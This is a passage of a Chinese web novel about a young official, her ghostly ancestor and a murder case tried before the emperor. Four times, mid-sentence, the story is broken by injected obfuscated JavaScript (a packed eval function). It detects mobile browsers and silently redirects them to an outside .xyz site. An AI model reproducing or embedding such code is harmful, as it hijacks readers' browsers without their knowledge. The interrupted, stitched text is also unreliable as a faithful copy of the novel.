"万奇珍当然该杀，不杀不足以平民愤，你不听坊间都已经开始演斩万二了吗？"圣人睨她，"可杀他是为了朕，或是为了万文珍，还是为了他身为官员罔顾法度，践踏人命？" 他悠悠，似是嘲弄："朝堂之外近来非议颇多啊。" "臣以为，应当公开审理，以正视听！" 洪垣一把按下身旁的慢性子，萧慧极又是没能说得上话。圣人看了乐子，无可奈何："你今日这么殷勤，不会是想朕赦了你的罪吧？" 她扑通跪下，一刻也不犹疑："圣人，我知错了，实在是揭不开锅，一时糊涂，欠的银子一定想办法还上。但身为臣子为君上分忧，是我爹教的，别无它图。" 行，又把她爹搬了出来。 真是成丹书铁券了。 "你爹不在麟城，你真是无法无天了。朕可算知道你爹走的时候怎么热火朝天的，原来是把你这个烫手山芋甩到朕手上了。"转头气得拍桌，一看人已被自己说哭了，又涌上来三分心软。 "罢了，你爹同朕总角之谊，又是代朕受过。你那四两银子的账朕替你还了。" 说起四两银子都气笑了，这点蝇头小利，得多不争气才去钻营。 洪垣得了赦，着急磕头谢恩，再三保证以后绝不再犯。 圣人颇为惆怅，瞧瞧洪垣，又瞧瞧闷不吭声的萧慧极："你这慢吞吞的性子，以后可怎么办才好？" 她伸开脖子，似乎说的不是自己，擦着眼泪，听圣人问："怎么还不议亲呢？" 洪垣左耳进右耳出，不仔细想想上下文，点头敷衍："快了快了。" 咔嗒一声，萧慧极手指捏得脆响，嘴都抿白了，一言不发。 圣人牙咬酸，白看一出戏，品味稍许又峰回路转："你方才说要公开审理，朕觉得不错。昔日燕明帝就曾金銮殿问案，传为千古佳话。" 洪垣瞥了萧慧极一会儿，神游天外，见他不语，眼睛转回才见圣人垂下的目光。 那番话竟是对自己说的。 且不管圣人心思，先点头就对:"懂，懂。" 细细琢磨，一路琢磨到宫外，她拧着眉不说话，萧慧极也不说话，落后她半步，时时刻刻瞧着她侧脸，免得错过风吹草动。 洪垣忽地停住，眼看脚尖："圣人这是什么意思？" "圣人都说了，燕明帝金銮殿问案，摆明了要你敲登闻鼓，告御状。"萧慧极说罢，见她头摆过来，一脸痴相。 审她几眼，又提点："我是审理官员，不好出面。民不举官不究，这是惯例，你得寻好苦主。" "我知道。"她挤歪眼睛，这是看不起谁呢。又摸着下巴，对天沉思："我是说，圣人说的议亲是什么意思？" "是说的你和我吧？" 萧慧极背过身去，咳了半天，洪垣不依不饶绕过去追着瞧。不想这人气量比鸡肠小，恼羞成怒将她手挥开。 越是如此，她越想使坏，只盼爆一把火把萧慧极的脸烧红。 于是凑过去，抱着他的手做张做势："萧郎——心肝儿——你什么时候娶我呀？" 够恶心的，保准萧慧极连做仨月噩梦。 这边她笑得脸都快裂开了，脸已滚熟的萧郎君锉碎满口铜牙铁齿，恨恨甩开手，满弓离弦似的大步飞走，洪垣从未见过他能走这么快，可称得上是狼狈逃窜。 可是这招只管用这一次，她再追上去叫心肝儿，萧慧极只冷冷的，方才脸上红透的血气潮似的退去："随你怎么胡说。" 总之他对这些玩笑话是不想再怄气了，可这样想着，越想越窝心。从小被欺负也就罢了，整天跟着她，她能不明白么？ 尽拿这些不正经的话来调笑他，真当他是出卖颜色身段的戏子了。 她怎么能如此对自己—— 想得眉毛快倒竖起来，脑子里火花噼啪，身子也火花一闪间硬转过来。 话到嘴边，要开口质问。 她优哉游哉背着手，扬着点脑袋，大睁眼睛看着他。她的眼睛很好看，还像小时候一样，清澈地看着他。 萧慧极眉眼闪躲，不敢再向下看，怕露了怯。 罢了，都是自找的。 他心平气和等她过来，一起往家那头走去。 洪垣都不知短短几步路的时间，萧慧极能有这么多心思，百转千回，情思数桩。萧慧极也不知自己怎么就爱生出那么多怨怼心肠，搞的他在倚栏闺怨，洪垣倒成了没心肺的负心薄幸郎。 这对么？这不对。 没个心情，意兴阑珊到家，花落了一地萧萧索索，令人伤春。 看几卷矫情文章，温两盏冷酒，望着楼外斜阳渐渐睡着。 睡得正沉，有人在身边坐下，醒来一看，洪垣给他盖上衣裳，手抚过胸膛，目光似水，眼含柔情。 "萧郎，当心着凉。" 心里咯噔一下，还是忍不住起身，看着她深情款款、满心满眼只望他一人，鼻头一酸倒在她怀里轻声啜泣。 洪垣拍着他的背，轻声细语，他抬头，眼睛湿漉漉的，勾她脖子想索一吻。 恶寒爬山脊背，萧慧极一哆嗦，生生吓醒。 这对么？这不对，不仅不对，还邪门得很。 脸色苍白地喘息片刻，烫壶酒压压惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没好气回道："那徐思晦呢？谁替他告？难不成你把他三魂七魄均提到太极殿上？还有那个阿苹，她后娘恨极了她，你能请来？" "糊涂啊糊涂，你真是困糊涂了。徐思晦自然可由谷婆子替他出头，就说他们是结义姐弟，姐姐替弟弟告御状，是不是顺理成章？阿苹的后娘让万衢官府想办法去，哪里用我请？" 洪垣信心满满，想得是天衣无缝。 萧慧极觉得她总是将人想得太简单。 "好心提醒，谷婆子是万奇珍的保姆，她可是把万奇珍当成亲生儿子般养大。且她是万奇珍的共犯，若是在百官面前反水翻供，那可是惹大祸了。" 洪垣则觉得他总是把人想得太复杂。 "她招供的时候可一点不含糊，这些年也常去埋儿坡，可见其良心未泯。我动之以情，晓之以理，实在不行就请人做法，摄她魂魄，操控其身，还怕她反悔？" 萧慧极皱眉头痛，这是朝堂官员该说出的话么？ 21. 送归（三） 四月初，圣人偶然小恙称病不朝已许多时日，昨日刚刚病愈，今晨照例早朝。 谁都知道万奇珍之事不会再迁延，该有个了结。只是不知圣人要将这案子办成多大，喧嚣了多日，参奏、求情，一应折子统统按下。 圣人好面子，从不自己上阵，议事时寡言，必谋定后动，他不像先帝那般把真性情写在脸上，但到底子必肖父，圣人也有心软的毛病。 对于万奇珍，圣人自不会心软，可其他姓万的呢？怎么处置才恰到好处。 万文珍近来同样悄声，似是已决意将万奇珍彻底舍弃。 朝上先议田制后议牧马，迟迟不提万奇珍，群臣用眼睛私语切切，对正事却有些心不在焉。 前头官大的争辩激烈，一串鼓声传来。 百官都醒了神，这是戏幕拉起，该登台了。 今晨一言不发的圣人总算开口："何人击鼓？" 内侍来去一番，禀告："禀圣人，凤麟司麒麟使洪垣带了民妇三人，在殿外叩阍，状告万奇珍杀人害命。" "常拓英，怎么回事？你这案子还没审结？" 圣人话未落，只见常府尹跌跌撞撞出列跪下，帽子都急歪了，明明折子早就递上，圣人不批复也就罢了，怎么还朝自己发难。 扶正官帽的时间，把思绪理顺，开口告罪："臣见圣人龙体不快，不敢令圣人劳思，因此还没将折子递上。" 朝堂寂静，圣人也闭口打量他一番，再次开口不闻喜怒变化。 "如此大案，怎能这般迁延顾望。太祖设登闻鼓，鼓响有冤，则必受理，今日其余政议一律延后，朕今日也做做麟城府尹，在此升堂问案。" 听宣上殿时，洪垣还是有些紧张的，她昨夜向列祖列宗祷告，望他们保佑自己头一次殿前奏对可不能出什么岔子。 她强装镇定，不能吓着身后三人，庞婆子战战兢兢，阿苹后娘眼睛乱瞟，只有谷婆子这手上有命案的，且比洪垣冷静得多。 圣人问案，问得极细致，常拓英答不上来的就宣萧慧极上殿。 一连问了两个时辰，连两匹绣锦所做成的衣袜都全部拆开拼凑，再将万奇珍的茄袋拆开一对，严丝合缝。 上殿证人近百，黄院公一快病死之人被几针下去救出半口气，抬到殿外回话。 文朝滥行祭祀，搞得天怒人怨，三世而亡，此后人牲之法便被废除。天地生养万物，是为取生而不为取死，千年之后，万奇珍竟然用活人祭祀。 匪夷所思，这案件竟如此骇人。 万奇珍真是该死，交头接耳，只传这一句，这样一来谁还敢为他说话，恐怕以后遇到万家人都得绕着走。 万文珍许是早已想到，对此议论面不改色。 案由审清，圣人发话，将万奇珍一支逐出万氏族谱，令其更名换姓不许姓万，以免侮辱万公。罪人亲眷抄家流放，罪人万奇珍罪大恶极，三日后处腰斩，罪人万籁秋刨坟撅尸，悬尸于市，以儆效尤。 圣人一锤定音，连万文珍都称颂圣明。 他是不是真心别人不知，几个万家人倒真铭感五内。如今万奇珍不是万家人了，去了一身骚，与他们再无利害关系，骂几声也不怕人家说他们沽名钓誉。 不想第二日才是"秋后算账"，万奇珍一干党羽尽数被罢免贬谪，其中不乏万氏子弟。万文珍无话可说，现如今他是闭门谢客夹起尾巴做人。 圣人大胜，心情尤其舒畅，不仅平了洪垣四两的账，又奖赏她五十两银子。 洪垣觉得圣人好小气，又觉得圣人好大方。 慈幼院收归官府所有，命庞婆婆掌事，阿苹后娘也得了赏赐和路费，欢天喜地回家去。 送走这两个妇人，洪垣还有个差事没办。 杨隆乙身上有一支素银簪子，如今结案，该物归原主了。问了人，寻到田彩女家，她烧好饭菜，准备吃好继续去找个活计。 她厨娘的差事是没了，也再没年轻时的闯劲。折腾了这些年，孤身一人，一无所有，没点进益。 正好热饭热菜，她请洪垣坐下一起吃。不愧是大户人家的厨娘，手艺确实出色，一碟子豆腐也能做出花样来。 席间洪垣问她今后打算，她讪笑不语，说了许多，她只一味地笑，笑到口干。 洪垣也没办法，临走时将簪子还给她。 田彩女接过去，不知作何感想。当初新婚之夜那人替她簪上簪子，岁月搓磨，由爱生恨，最终恨也灭去，变成不相干的人。 可她的爱还未完全成恨，恨也未完全消散，那人便先离她而去，留她一人在世间蹉跎。 想起他少年时的脸庞，那时新生活刚刚开始，朝阳会洒满芳香泥泞的小路。田彩女捏着簪子，对天嚎哭。 阳间的事告一段落，阴间的事也办得七七八八。 城隍爷发落了万籁秋，解救了苦苦守门的俩将军，命差役将阿苹押回万衢受审，之后就抱着从万家祠堂拿回的符箓、牌位等物钻研。 祖宗的事，洪垣懂的不多，帮不上忙，看两眼就走了。 一出城隍庙，碰上丘无玷。 小鬼盘腿坐在墙根下，躲影子里歪头抱手，显是在等她。她走过去，看他眼圈红得滴水，分明哭过还要装出一副大人样。 "做什么？河神爷那不用当值？" 看她斜眼笑，丘无玷脸一白，总觉得她不怀好意，偏偏死要面子，兀自强装镇定，叉腰站起。 "小爷是来报答恩情的，以后但凭你差遣，小爷无有不应。" "哦——"洪垣拉长语调，满肚子坏水，"那哭一个给姐姐看看呗。" 丘无玷结结巴巴，知道是自己的肿眼睛露馅了，逞强瞪大眼睛："男子汉大丈夫！男儿有泪不轻弹，哭什么哭？" "你自己说的无有不应，男子汉大丈夫，小女子这点小小要求，你不会言而无信吧？"她瞥起眼睛，瞧着丘无玷嘟哝着揉揉眼睛，脸拧来扭去，扑簌簌扇睫毛，憋了半天怅然若失。 "我哭不出来。" 哭有什么难的？简直是世上最简单的事了。 洪垣蹲下身，替他理了理衣领，弯着眼笑："丘无玷啊，以后跟着我，再不必吃苦了。你才多大，该哭就要哭，该笑就要笑，大人的事有大人做，你懂了没？" 小鬼低着头，鼻子哼哼。 她一拍他的头："懂了没！" "懂了！" 声音响亮，一抬头，要强的眼睛滚出眼泪，流了满脸。 洪垣别过头，脸搅做一团，硬是把笑往下拉，憋笑憋得胃疼。终于把这小屁鬼给弄哭了，简直是人生一大成就。 她顺了顺气，对哭哭啼啼的丘无玷说道："所以，我麟城八门总把头，今天就封你做副总把头。怎么样？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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"可他死了，我还是不开心，我还是满心怨恨。直到你来了，你小时候那样乖巧漂亮，见人就甜甜地笑，笑得我想把你掐死——" 那虾似的背拉开，脸上还是平静。 万奇珍眉宇间闪过一丝不耐，开始觉得她庸俗。 她自顾自点头："你要是死了，郎君该多伤心，他一定就能感同身受了。" "可是我下不去手，婆婆真的喜欢你，像你这样的小杂/种长大了，才会让郎君痛彻心扉。" 谷婆子挺直的背松松垮下去："二郎，婆婆陪了你四十年，如今就要分别了……但别怨婆婆……” “你是我见过最漂亮，也是我最喜欢的玩具。" 呼吸凝滞。 有如死寂。 她身形散去，留得万奇珍坐在原地，脸似盖了白纸，层层叠叠。 什么玩具？屁话！疯话！他是人，是活生生的人！ 他猛地扑到木栏前。 "谷春音！我要见谷春音！" 没人理他，只有他撕心裂肺地喘气声。心里的问题急切冲出胸膛，要一个答案。 "她死了。" 一惊一乍转身，草席上坐着个男人，手里撵开鳞粉。 "半个时辰前，藏了碎碗，一击毙命。怎么？万二郎君，你似乎有失风度吧？" 22. 送归（四） 更漏已经滴到三更天了，月昏得像淹进了湖底一样，野猫往悬山顶上一溜烟儿地跑过去，灵巧得像抹影，影子往下一跃，扎进了花丛里。 野猫四脚肉垫将将碰着地，就被一声惨叫吓得炸毛弹起三尺高，怪嚎一声连滚带爬地跑了。 猫儿声刚起，本已吓丢魂的打更人又遭一击，吓得抱头鼠窜。 十字街心，阴恻恻的风卷地而去，两个白脸阴差押着女鬼路过。 阴差相互攻讦，怪对方不检点些把路人吓坏了。 阿苹听不得他们啰噪，扯长锁链坐在街边，赶了好几夜路，手脚没有遭罪，耳朵是遭了荼毒。听不得蠢人吵架，蠢鬼也不成，捂上一侧耳朵，脸难耐痛苦地皱起。 三五句话的功夫，见那两个不仅没消火，反而撕扯起来。 眼睛一动，利得见血。 轻轻扯动锁链，悄无声息收进手中，卡准半刹那间退进屋影，这一招做人时得心应手，做鬼了更是游刃有余。 阴差吵得火热，不经意见余光里少了东西，冷汗倒流。 "跑了！跑了！快追！" 两腿生风跑出去，再没心思打嘴皮子架。 屋缝里动了动，阿苹闪身出来，狐狸眼翻个白挤成一条缝。她就地掀一家人窗户，大摇大摆靠在椅上安然歇息。 跑灯花的是最懂影子的人，做贼多年，她懂什么叫灯下黑。那两个阴差不会再回这来了，何况她还要在这等一个人。 鬼行迅急，走的比人快，不知她那个好后娘还要几日才能与她相会。 她们都往万衢走，一条路上，早晚能等着。 阿苹不知道亲娘的模样，她被打走时阿苹还没记事。所以她只记得后娘那张瓜子脸、吊梢眼、菱角鼻子猴儿样的嘴，那张脸总是刻薄阴险地对着她，尖酸的眼睛随时随地缠在她脖子上，要将她掐死。 后娘的笑脸只对着自己儿子，是那种阿苹看了想吐的笑。 阿苹从不逆来顺受，她眼带刀枪，口衔棍棒，平等地攻击一切胆敢触碰她的人。 她有做贼的天赋，六岁就学会偷拿东西。 后娘饿她，她自己偷饭偷菜吃。别人有的东西她也要有，没有娘买，就偷后娘的嫁妆，多的是背街背巷可以换钱，换了钱，就能自己买。 后娘打她，她拗不过五大三粗的女人，装乖蔫了半年，在她后娘的床褥上扎了数不清的针。后娘从床上弹起来，头都撞破了。 气得那贱/人把她关在柴房里，没吃没喝，她饿得头晕眼花，搓火燃着干松针，把柴房烧塌跑了出去。小弟在屋檐下吃饼，身后是大火，身前是烈日，她一脚把小弟踹出老远，拾起饼塞在嘴里。 小孩匍在地上一动不动，好久才捂着肚子站起来，他说不清话，流着口水叫："阿姐，阿姐。我疼。" 阿苹觉得她很难过，可最终也没把小弟抱起来。 后娘赶回家，同拿着菜刀的阿苹对峙，亲爹也从田里杀回来，只是见了刀子，不能再随心所欲把烧火棍打断。 有了后娘就有后爹，她到底还是打不过大人。 狼狈逃出家门，在外流浪几日，爹又来把她找回去，不知道是仍有丝亲情作祟，还是受不了他人闲言碎语。 阿苹发觉外边的日子很好，短短几天见识了不少新鲜玩意儿。八岁时，她偷走后娘最后一对压箱底的镯子，换了些新鲜东西放进水囊，爹带着水囊上山打柴，再没回来。 她爹刚不见一个月，后娘就着急卷了嫁妆钱财跑。 打开藏在手缝里的箱子，搬出一叠叠旧衣服，被/干干净净的箱底晃瞎了眼。立即想到那个手脚不干净的小妮子，脑袋七窍生烟，手脚已经撕开半个屋。 嫁妆一件也不见，只找出些乱七八糟没见过的东西，连镜子都有两三块。 后娘不走了，这屋子她得要，但垃圾她不要。 挥舞着菜刀的后娘两只鞋都甩飞，阿苹被赶出家门，这明明是她的家，她的房子。凭什么？ 无处可去，她在街头游荡，饿了就去偷别人家的饭菜吃，反正她已经手熟。最好偷的是东头矮房子，只住着一个眼神不好的老太婆，可那里只能偷到馊馒头，不好吃。 好景不长，县里人人都知道她会偷了，时刻提防着，门都不让她靠近。 肚子又开始饿，心被火煎。她来到矮房子，看见老太婆在搜地上的馒头渣，走开去别的地方，一会儿功夫又绕回来。 去而复返，去而复返，她还是走进那间屋子，把馊馒头拿走，一个不留。 一种理所当然的正义感油然而生，老而不死是为贼，何况是又蠢又瞎的贼。 她活该！ 阿苹没有打听过老太婆后来怎么了，她打算离开这里，但她身无分文。 回到曾经的家，后娘出去洗衣赚钱，小弟一个人坐在门口，痴痴傻傻的，不用她叫就屁颠屁颠跑过来。 阿姐，阿姐。 她第一次抱起他，把他抱到巷子深处。 把孩子独自放在外边的人是怎么想的？故意等人偷么？弯弯绕绕，把小弟抱到胡子那，卖了换钱，傻子不知道她在干什么，只是叫阿姐，阿姐。 要怪就怪他娘，母债子偿，这是他娘欠自己的。 阿苹没回头看，踏着懵懂的"阿姐"声越走越远。出了县城，她意识到再走下去就是另一条路，忽然想要回头。她真的回头了，回头远望一眼，迢迢已过，青山若昨，故人长绝。 听不见小弟喊她的声音，听不见任何过去的挽留。 她心沉下来，沉到胃里，蠕动、碾碎、化为养分。是他活该，是他自己跑过来的。 甩头迈开步子，既然做了，就别问，别想，别后悔。 谁不想做好人，可是做好人太难。阿苹想，要是她有娘，或许就够格做个好人了。 阿苹又见到后娘了，在她蹲在屋檐下的第三个日夜。后娘抱着沉甸甸的包袱，衣裳还是令人高看一眼的俗艳，她的笑也一样俗艳，两行牙着急先走在前边。 包袱里有圣人给的赏钱，里三层外三层裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灯姑如今登门勤快得很，少吃一口真是要命。 这日刚吃好喝好晾着肚皮，洪文简在院散步消食，走着走着觉得尾巴一凉，回头望去，有鬼跟着。 小鬼大剌剌走过来，拍拍洪垣的膝盖。 "你这总把头当的，兄弟有难，你管不管？" 什么难？怎么又有难？才消停几天呢。 她勉强抬起眼皮，瞅一眼，就见丘无玷两手上来把她眼皮扒开。 洪垣一骨碌爬起来："你不能什么事都来找我，你可是副总把头，我放权给你，你就这么当副总把头的？" 一番指责，丘无玷东支西吾，嘴一闭拱起，更是叉腰："你自己说的，大人的事有大人做。" 她耸高眉毛，让他继续说。丘无玷一扬手："嗐，也没啥，找你寻个门路，批几张鬼牒。" 23. 送归（五） 出门在外，人有路引，鬼有鬼牒。 像丘无玷这样的小鬼若是不带鬼牒上路，就是出境也难，路上还有众多守关鬼卒，不免被勒索留滞。 洪垣不懂这群小鬼又想耍什么鬼把戏。 "鬼牒？要去哪？" 被她眼神诘问，丘无玷难得束手束脚："要不你自己问吧，他们都来了，在门外等着。" 他们？总不会是七八个吧？洪垣让他把小鬼叫进来，点着数，竟数出二十个。无论从哪方面考虑都很可疑。 问了他们要去哪，不知谁抢着答了一句："回家！" 他们的家不在麟城么？想了想，恍然，莫非都是被拐带卖到麟城。给他们批鬼牒倒是容易，路上结伴而行不必多担心，但是—— 眼睛量量他们的个头，问到："你们记得家在哪吗？" 想要回家，也得知道家在哪。 无鬼回答，各个抓耳挠腮，你瞧瞧我我瞧瞧你，望天半晌试着吱一声："在树下边。"这一句捅了话篓子，有说路边有说水畔有说山半腰的，这且算好的，洪垣不知道怎么才能找着马经常屙屎或者树叶很辣的地方。 能说出一两句已属不易，要是在襁褓之中就被拐走，一生怕是都难寻来处。 以洪垣的本事，恐怕帮不上忙。 灯姑在旁出主意："不如到阎王那查命簿。"说完双目精光一闪，两根手指捏起来卑鄙地搓搓："就是——就是——你懂吧。" 哪能不懂啊？可太懂了。打点上下又得花银子呗，要是纸折的也就罢了，偏要货真价实能咬牙印的银子。 心疼得很，但又无可奈何，她可没有打上阎王殿、一笔勾了生死薄的本事。 只好上楼进屋，从自己的藏宝洞里挖出十两银子交到灯姑手上。 灯姑记了小鬼姓名，欢天喜地往地下钻，洪垣不失时地温声细语："你要是敢藏私，我就把你家庙拆咯。" 小姑娘双腿扑腾一下，鞋差点落地上。 如果她的头朝上，而不是屁股朝天，定会信誓旦旦说那句"小灯办事，你放心"。 这几个字快成她的招牌，时刻挂在身上。灯姑也确实对得起自己的招牌，到了晚上就见她回转，步伐散漫，手背在身后撑起肚子，像个洋洋自得的狗官。 她走进院子，故意响亮地咳嗽。 "本君远道而来，为何不见美酒佳肴？这般怠慢，本君定要治你个不敬之罪。" 洪垣刚肚饱，拱手打趣："仙人远来，有失迎迓，望乞恕罪。" 客套罢上前把灯姑手里纸张抽走，不讲半点温情脉脉。灯姑伤心欲绝，被她扔到饭桌上，眨眼间鸡鸭鱼肉眼花缭乱，十股味道拧成绳钻进鼻子里，都不知道从哪下筷好。 她就喜欢洪垣这样。够直接，够大方，够霸道。 有了小鬼们的籍贯，弄到鬼牒不过举手之劳。洪垣领着他们一同到城隍庙去，到时城隍爷正大发雷霆，她听了一耳朵。 敢情是两个差役路上懈怠，让阿苹的鬼魂钻空子跑了。俩差役寻了两夜，半个阿苹也找不见，只好灰溜溜回来领罪。 城隍爷骂累了，扶着墙歇气，洪垣让小鬼都在外边等候，瞅准时机进去，绕到他身后捏肩捶背。 可惜她祖宗正在气头上，见谁都没好气:“你又有什么事了？” “没什么事，没什么事，”她笑眯眯，说是没什么，但没什么之后，正事就来了，“还是那群小鬼，祖宗你不知道，里边有好些小孩是被拐到麟城的。你说他们年纪那么小，远离家乡，远离父母，多可怜呐。现如今他们想回家去，这不是还缺张鬼牒不好上路。” 她说着，城隍爷扔了个眼色，让那俩惹火精先出去。 这点事情，不必他亲自上阵，下巴指指桌案："喏，笔墨纸砚都有，自己写，印信也在桌上，自己盖上便是。" 主簿呢？书吏呢？洪垣一寸寸寻了半天，今天城隍庙真安静。 "别找了，汤主簿梦见他后人遭难，江湖救急去了，宋书吏想坟里老娘了，也告假回家去了。" 可是光走了两个也不至于空成这样，她眼神拉长，审视着自己祖宗："不会就剩你一个光杆了吧？" 城隍爷踱来踱去，忧思千丈越绕越乱，干脆一屁股坐在桌上："我能怎么办？长的已经一两百年没回家看看，短的连轴转了几十年。大家都死了，但大家都还有后人，那必定心中牵挂。" 他扯了许多闲篇，抬头晃悠脚："乖孙，我同你商量个事呗？" 洪垣正听的一愣一愣的，感概做鬼也不容易，没注意被他这回马枪杀了一招，想叫点着头停下时已经晚了。 她呵呵笑，知道准没好事。 果然。 "我也得出门一趟，你看这城隍庙不能没人看管，万一有个急怨，得有人问案呐。不如你帮我保管着印信，你呢，也能当几天城隍过过瘾。" 祖宗绕到她身后，开始给她捏肩。洪垣偏着头，眼睛在自己身上掠了几遍："你的后人就在这坐着，人家出门是牵挂后人，你是什么啊？躲懒吧？你这城隍爷几百年都没个休沐，我才不上当做大冤种。" "你祖宗怎么会躲懒呢？"他不高兴了，直捶洪垣肩头，"我是有正事，你从万奇珍那拿回来的东西有问题，那个万奇珍也有问题，至于是什么问题我也没法告诉你，我这次出去就是要把这些问题弄明白。" 听了好像没听，尽是废话，总之他出门就是有正事。 洪垣权衡利弊，谁让自己和人家血脉相连呢，只好点头帮他看着屋子，保管印信。 城隍爷见她退让，不由的得寸进尺："乖孙啊，我以前和你说的那事？" 那事，就是让洪垣正儿八经替他干活，且是铜板都没一个那种。 "天爷，你还想着呢！"她人蹦起来，声也一蹦三尺高，"我在人间好歹也是个官，你都是我祖宗了也不知弄个官给我当当，让我当个小吏就想叫我白白替你出力。" 被揭了心思的城隍爷一霎那结巴起来："什么白白，什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870550|158421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白白出力，那那不是有香火吗？" 洪垣拍拍额头，不得不服。 "你能吃我可不能吃。我还想活到一百岁呢。" 城隍爷也知说错了话，啧一声，围着她搬出另一套招术："祖宗不白让你干活。你现在顶多算个白役，是吧？等你当了咱城隍庙的小吏，虽然你起步只是个小吏，可乖孙你是千年难见的三麟之才，只要经过一番历练，必定高升！" 听上去没什么吸引力，但洪垣很好奇："什么是三麟之才？" 城隍爷张开五指。 "麟城。" "凤麟司。" "麒麟使。" 三根手指握进手心里，对着她举起来："你看吧，三麟之才。" 她怎么听都觉得不靠谱，像是生搬硬套的谐音笑话，瞅那只手后的笑脸一眼，自己也抬高眉头笑了："照你这么说，那我爹是四麟之才。麟城凤麟司麒麟使她爹，洪人麟。四麟之才，对吧？" 她也掰了四根手指，举起来。 "对对，极对。"城隍爷忙不迭点头，旋即嘴惋惜一撇，"可是你爹终究不是咱公玉家的人，他没入赘，所以还是得靠你。" 听上去有些道理，她将信将疑。城隍爷觉得这下她该点头了，没想到洪垣比鬼还难骗，握着他手恳切："我懂了，祖宗。城隍庙我给你看好，印信我也给你保管。但是小吏嘛——等我体验体验，等你回来了我再做决定。" 城隍爷脸已凑成几叠，每道缝里都盛满苦痛。到底是谁把孩子教成这样的？肯定不是自家的问题，都是那个洪人麟，把自家好姑娘拐跑的洪人麟！ 见再不能忽悠到洪垣，他只能含恨离去。 洪垣匍伏案头，叫进小鬼，边问边写鬼牒——某处某人，年若干岁，以某年某月某日在本籍故去。仰沿路把守关隘鬼卒，即将该魂验实放行，毋得勒索留滞，致干未便。 写得二十张鬼牒，盖上城隍官印，分发下去。再把刚刚犯错的两个差役叫进门来，让他们护送小鬼归乡，路上若再玩忽职守，吵闹酿成大祸，就把他们嘴粘一起。 小鬼们谢过总把头，又同丘无玷依依不舍，但归家心切，即便是做了鬼也不改半分。丘无玷将他们赶走，踩在门槛上，垫脚眺望。 两个差役跟随离去，城隍庙一个办事的都没了，洪垣有些回过味来。 麟城、凤麟司、麒麟使。 那只要是麒麟使就一定是三麟之才，这算哪门子的千年难遇？ 不对，祖宗还真没骗她，毕竟凤麟司才设置不到五十年，怎么不算千年难遇呢？ 只是和她想的千年难遇可差了十万个十万八千里。 正砰砰拍脑门，丘无玷走过来，看她自伤，莫名其妙："干什么？练铁头功呐？" 瞥他一眼，点漆的眼珠嵌在描尖的眼角，丘无玷噤声，反手把一张叠成小方的纸扔过去。 "他们让我给你的。" 打开来，纸上只有三个狗爬字。 ——卖鱼巷。 24. 鲜汤（一） 王生近来新得一个癖好，到城外野集上喝羊汤、吃羊肉。 便宜、大碗、浓香、鲜嫩，只用撒几粒自己带的盐粒子，就是人间至味。 一天吃两天想，三天心挠痒。 没这一口，全然不知日子该怎么过了。 切羊肉的是个壮实汉子，一把蒲扇般的胡子，身上刺青年久晕开，青黑黑油亮亮，往后倒仰脖子，褶子得用心数。那十根木桩子样短粗的指头按住肉挥刀舞刃，动作飞快，将羊肉切成分毫不差的薄片，抹刀码进盘里，卖相不比大酒楼差。 男人忙出三头六臂，他一刻不歇的影子笼罩着他的哑巴娘子，影子操刀笃笃笃切在她肉上，尖刀将骨肉剔开，高高举刀落在她颈侧，案上骨头被一次砍开。 而她静静守在熬羊汤的锅前，眼睛盯着气泡冒头炸开，如挤破的脓疮，锅渐渐滚开，烟雾缭绕。 她还是一动不动，宛如拴羊的木桩。 白雾中的羊汤娘子很美，似山中云上的仙子，王生同别人一样，坐在摊上等时也偷看几眼。多来几次后，他发现男人并不介意来往客人窥伺自家娘子，胆子渐肥，开口同她搭话。 羊汤娘子侧头看他，圆溜溜的眼睛小羊一样湿润纯洁。 肉美，汤美，人更美。 王生说不上自己是更爱羊还是更爱人。索性不必分辨，得空就来。 在这摊上花销了大半年，他有些囊中羞涩，寻了个抄书的活赚钱糊口。一日王生送抄好的书出城去，耽搁晚归，独自夜行。走了数里地，见到前头有一人也在赶路，双脚悬于地上，不似生人。 王生害怕，不觉步伐加重，惊动了前头。 前头那人甚是热情健谈，邀他同行，交谈几句后，王生自觉其不是歹人，放下心来，问那人是谁，为何夤夜赶路？ 那人只答自己是鬼，只能夜晚出行。 这鬼看上去无半分恶意，王生心生好奇，有意捉弄他，便自称也是鬼，只是刚刚新死，还不知怎么做鬼。 三言两语将鬼骗过，于是一人一鬼结伴同行。 路上攀谈，王生问做鬼有何鬼忌。鬼如实答他，人怕鬼的唾沫，鬼唾可以使人昏睡不醒，涂在大门上一家人昏睡，涂在中门上门内人昏睡，涂在堂门上则满堂人昏睡。可鬼同样怕人吐口水，不仅怕，且是最怕。 王生道谢，记在心中。等到了城门口，一人一鬼将要分别，王生想试试鬼被人吐了唾沫会如何，下次撞鬼不知要何年何月，眼前正有一鬼，心想不如一试。 于是趁鬼转身，向鬼吐了一口唾沫。 鬼即刻倒地，蜷缩成一团，王生定睛看，地上哪还有鬼，只有一只黑羊。 